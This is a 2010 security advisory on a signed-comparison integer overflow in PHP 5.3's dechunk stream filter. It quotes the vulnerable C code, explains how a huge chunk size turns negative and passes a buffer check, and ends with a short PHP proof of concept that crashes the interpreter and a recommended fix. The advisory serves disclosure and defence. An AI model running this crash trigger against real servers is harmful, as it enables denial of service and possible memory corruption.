MOPS-2010-003: PHP dechunk Filter Signed Comparison Vulnerability

May 2nd, 2010

PHP's dechunk filter that can be used to decode remote HTTP chunked encoding streams, performs a signed comparison of the chunk size against the space in the buffer. A negative number will result in a far to many bytes (2GB – 4GB) being copied between heap buffers, which results in a crash.

Affected versions

Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a quick audit of the new features in PHP 5.3.

Detailed information

The new PHP dechunk filter consists of a state machine that uses the following structure to remember the current state.

```
typedef struct _php_chunked_filter_data {
    php_chunked_filter_state state;
    int chunk_size;
    int persistent;
} php_chunked_filter_data;
```

The chunk_size is stored in a signed integer which can result in problems because of the chunk size decoder used.

```
case CHUNK_SIZE:
   while (p < end) {
      if (*p >= '0' && *p <= '9') {
         data->chunk_size = (data->chunk_size * 16) + (*p - '0');
      } else if (*p >= 'A' && *p <= 'F') {
         data->chunk_size = (data->chunk_size * 16) + (*p - 'A' + 10);
      } else if (*p >= 'a' && *p <= 'f') {
         data->chunk_size = (data->chunk_size * 16) + (*p - 'a' + 10);
      } else if (data->state == CHUNK_SIZE_START) {
         data->state = CHUNK_ERROR;
         break;
      } else {
         data->state = CHUNK_SIZE_EXT_START;
         break;
      }
      data->state = CHUNK_SIZE;
      p++;
   }
```

The chunk size decoder does not protect itself against integer overflows and therefore a positive 32 bit chunk size will result in a negative integer being stored in the chunk_size state variable. This causes problems in a later state that compares the chunk size against the remaining buffer space.

```
case CHUNK_BODY:
   if (end - p >= data->chunk_size) {
      if (p != out) {
         memmove(out, p, data->chunk_size);
      }
      out += data->chunk_size;
      out_len += data->chunk_size;
      p += data->chunk_size;
```

It should be obvious that a negative chunk size being stored in the chunk_size signed integer variable will pass the check and result in 2GB to 4GB being copied between the two heap buffers. Usually this will result in a crash only but in a multithreaded webserver this could result in a more serious exploitable memory corruption. Luckily PHP is rarely used in a multithreaded environment.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and result in a crash.

```
<?php
$x = '0fffffffe

XXX';
file_put_contents("file:///tmp/test.dat",$x);
$y = file_get_contents('php://filter/read=dechunk/resource=file:///tmp/test.dat');
echo "here";
?>
```

Notes

The correct way to fix this vulnerability is to no longer use a signed variable for the chunk size and to remove the possibility of a integer overflow in the chunk size decoder.
